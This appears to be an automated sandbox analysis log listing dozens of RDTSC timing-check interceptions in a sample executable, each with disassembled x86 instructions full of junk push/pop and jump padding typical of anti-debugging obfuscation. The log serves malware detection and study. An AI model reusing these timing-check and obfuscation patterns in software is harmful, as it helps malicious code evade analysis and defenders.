Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF21F6 second address: DF2287 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0F91376D68h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xor dword ptr [esp], 500D4EF2h 0x00000014 push esi 0x00000015 sub dl, 00000074h 0x00000018 pop edi 0x00000019 call 00007F0F91376D59h 0x0000001e pushad 0x0000001f pushad 0x00000020 jmp 00007F0F91376D66h 0x00000025 jne 00007F0F91376D56h 0x0000002b popad 0x0000002c push edi 0x0000002d jmp 00007F0F91376D65h 0x00000032 pop edi 0x00000033 popad 0x00000034 push eax 0x00000035 push edi 0x00000036 ja 00007F0F91376D58h 0x0000003c pushad 0x0000003d popad 0x0000003e pop edi 0x0000003f mov eax, dword ptr [esp+04h] 0x00000043 jnc 00007F0F91376D5Eh 0x00000049 jng 00007F0F91376D58h 0x0000004f mov eax, dword ptr [eax] 0x00000051 push eax 0x00000052 push edx 0x00000053 push eax 0x00000054 push edx 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF2287 second address: DF228B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF228B second address: DF22A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F91376D66h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF22A5 second address: DF22AA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF2392 second address: DF2396 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF2396 second address: DF23A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pushad 0x0000000c popad 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF23A4 second address: DF23A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF2CA5 second address: DF2CD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0F90B9EDF5h 0x00000009 popad 0x0000000a jmp 00007F0F90B9EDF2h 0x0000000f popad 0x00000010 push eax 0x00000011 push ebx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF2F9E second address: DF300C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F0F91376D56h 0x0000000a popad 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e push esi 0x0000000f pop esi 0x00000010 popad 0x00000011 popad 0x00000012 mov dword ptr [esp], eax 0x00000015 push 00000000h 0x00000017 push ebx 0x00000018 call 00007F0F91376D58h 0x0000001d pop ebx 0x0000001e mov dword ptr [esp+04h], ebx 0x00000022 add dword ptr [esp+04h], 00000014h 0x0000002a inc ebx 0x0000002b push ebx 0x0000002c ret 0x0000002d pop ebx 0x0000002e ret 0x0000002f mov dword ptr [ebp+122D2E48h], eax 0x00000035 lea eax, dword ptr [ebp+12485955h] 0x0000003b push 00000000h 0x0000003d push ebx 0x0000003e call 00007F0F91376D58h 0x00000043 pop ebx 0x00000044 mov dword ptr [esp+04h], ebx 0x00000048 add dword ptr [esp+04h], 0000001Dh 0x00000050 inc ebx 0x00000051 push ebx 0x00000052 ret 0x00000053 pop ebx 0x00000054 ret 0x00000055 sub dword ptr [ebp+122D1BD5h], esi 0x0000005b push eax 0x0000005c push eax 0x0000005d push edx 0x0000005e push esi 0x0000005f push eax 0x00000060 push edx 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF300C second address: DF3011 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF3011 second address: DD8E57 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F91376D66h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov di, dx 0x0000000f lea eax, dword ptr [ebp+12485911h] 0x00000015 mov edx, esi 0x00000017 push eax 0x00000018 push ebx 0x00000019 js 00007F0F91376D58h 0x0000001f pop ebx 0x00000020 mov dword ptr [esp], eax 0x00000023 push 00000000h 0x00000025 push edx 0x00000026 call 00007F0F91376D58h 0x0000002b pop edx 0x0000002c mov dword ptr [esp+04h], edx 0x00000030 add dword ptr [esp+04h], 00000018h 0x00000038 inc edx 0x00000039 push edx 0x0000003a ret 0x0000003b pop edx 0x0000003c ret 0x0000003d push edx 0x0000003e clc 0x0000003f pop ecx 0x00000040 movsx edi, dx 0x00000043 call dword ptr [ebp+122D2746h] 0x00000049 pushad 0x0000004a push ebx 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD8E57 second address: DD8EB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop ebx 0x00000007 jbe 00007F0F90B9EDEEh 0x0000000d pushad 0x0000000e popad 0x0000000f jne 00007F0F90B9EDE6h 0x00000015 push esi 0x00000016 jmp 00007F0F90B9EDF3h 0x0000001b pop esi 0x0000001c jmp 00007F0F90B9EDF1h 0x00000021 popad 0x00000022 pushad 0x00000023 jmp 00007F0F90B9EDF0h 0x00000028 push esi 0x00000029 jmp 00007F0F90B9EDEEh 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2DF77 second address: E2DF7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2DF7C second address: E2DF86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F0F90B9EDE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2E0F2 second address: E2E11C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007F0F91376D6Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2E11C second address: E2E120 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2E120 second address: E2E124 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2E124 second address: E2E12A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2E2D6 second address: E2E2DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2E49B second address: E2E4CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F90B9EDF5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F0F90B9EDF8h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3482B second address: E34834 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E34834 second address: E3483A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3483A second address: E34843 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E336D3 second address: E336DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E336DD second address: E336E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E336E5 second address: E336EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E336EA second address: E33727 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0F91376D6Fh 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jmp 00007F0F91376D67h 0x0000000f jmp 00007F0F91376D5Fh 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a pop eax 0x0000001b je 00007F0F91376D56h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E33727 second address: E33730 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E33730 second address: E3373A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop ecx 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3373A second address: E33749 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jne 00007F0F90B9EDE6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E33749 second address: E3374D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3374D second address: E33753 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E338CA second address: E338D4 instructions: 0x00000000 rdtsc 0x00000002 js 00007F0F91376D56h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E338D4 second address: E338F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0F90B9EDF3h 0x0000000d ja 00007F0F90B9EDE6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E33CD2 second address: E33CE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jl 00007F0F91376D56h 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E33CE2 second address: E33CEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E34140 second address: E34144 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E38198 second address: E3819E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3819E second address: E381A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E381A4 second address: E381A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3F11E second address: E3F135 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0F91376D56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F0F91376D5Dh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3F2AF second address: E3F2F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 js 00007F0F90B9EDE6h 0x0000000b jmp 00007F0F90B9EDEEh 0x00000010 jp 00007F0F90B9EDE6h 0x00000016 popad 0x00000017 pushad 0x00000018 jmp 00007F0F90B9EDEFh 0x0000001d jmp 00007F0F90B9EDF0h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3F2F1 second address: E3F30C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jmp 00007F0F91376D5Eh 0x0000000d pushad 0x0000000e push edi 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3F30C second address: E3F312 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3F312 second address: E3F32B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F0F91376D56h 0x0000000a popad 0x0000000b push ebx 0x0000000c jmp 00007F0F91376D5Bh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3F48D second address: E3F493 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3F5D2 second address: E3F5E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F0F91376D5Ah 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3F5E5 second address: E3F618 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F90B9EDF6h 0x00000007 jmp 00007F0F90B9EDEFh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jp 00007F0F90B9EDEAh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3F618 second address: E3F61D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E41D97 second address: E41DAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F0F90B9EDE6h 0x0000000a pop edi 0x0000000b je 00007F0F90B9EDECh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E41DAA second address: E41DAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E41DAE second address: E41DC7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F90B9EDF1h 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E41DC7 second address: E41DCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E41DCB second address: E41DCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E41DCF second address: E41E01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F0F91376D56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jns 00007F0F91376D58h 0x00000016 push esi 0x00000017 jmp 00007F0F91376D68h 0x0000001c pop esi 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4671D second address: E46721 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA527E second address: DA5284 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA5284 second address: DA52AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 js 00007F0F90B9EE04h 0x0000000d jp 00007F0F90B9EDEEh 0x00000013 jnl 00007F0F90B9EDE6h 0x00000019 push edx 0x0000001a pop edx 0x0000001b pushad 0x0000001c push ebx 0x0000001d pop ebx 0x0000001e jo 00007F0F90B9EDE6h 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E45FDA second address: E45FE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E45FE0 second address: E45FF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 jmp 00007F0F90B9EDEEh 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E45FF5 second address: E46025 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F91376D68h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push edi 0x0000000b pop edi 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 jnl 00007F0F91376D56h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E46025 second address: E4603F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F0F90B9EDF4h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4603F second address: E46044 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E46191 second address: E461A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c je 00007F0F90B9EDE6h 0x00000012 popad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E461A7 second address: E461AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E499E0 second address: E499F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jo 00007F0F90B9EDE6h 0x0000000c popad 0x0000000d popad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E499F3 second address: E499F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E499F9 second address: E49A0B instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0F90B9EDE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007F0F90B9EDEEh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E49A0B second address: E49A1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jno 00007F0F91376D56h 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E49A1F second address: E49A23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E49F41 second address: E49F47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E49F47 second address: E49F4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E49F4B second address: E49F51 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E49F51 second address: E49F57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4A0D1 second address: E4A0DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4A0DA second address: E4A0DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4EA2F second address: E4EA66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jl 00007F0F91376D56h 0x0000000c jmp 00007F0F91376D67h 0x00000011 jbe 00007F0F91376D56h 0x00000017 push eax 0x00000018 pop eax 0x00000019 popad 0x0000001a jl 00007F0F91376D60h 0x00000020 pushad 0x00000021 pushad 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4EBDC second address: E4EBE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4EBE7 second address: E4EBEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4EBEB second address: E4EBEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4EBEF second address: E4EC09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F0F91376D5Dh 0x0000000e push edx 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4EED7 second address: E4EEDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4EEDF second address: E4EEE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4F020 second address: E4F04A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0F90B9EDF9h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F0F90B9EDEAh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF29A8 second address: DF29AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF29AC second address: DF29CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F90B9EDF5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF29CA second address: DF2A4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 js 00007F0F91376D68h 0x0000000e jmp 00007F0F91376D62h 0x00000013 jmp 00007F0F91376D63h 0x00000018 popad 0x00000019 nop 0x0000001a call 00007F0F91376D65h 0x0000001f pop edx 0x00000020 push 00000004h 0x00000022 push 00000000h 0x00000024 push ebx 0x00000025 call 00007F0F91376D58h 0x0000002a pop ebx 0x0000002b mov dword ptr [esp+04h], ebx 0x0000002f add dword ptr [esp+04h], 0000001Dh 0x00000037 inc ebx 0x00000038 push ebx 0x00000039 ret 0x0000003a pop ebx 0x0000003b ret 0x0000003c mov cl, FEh 0x0000003e push edi 0x0000003f sub dword ptr [ebp+122D2040h], ecx 0x00000045 pop edx 0x00000046 nop 0x00000047 push edi 0x00000048 pushad 0x00000049 push edi 0x0000004a pop edi 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
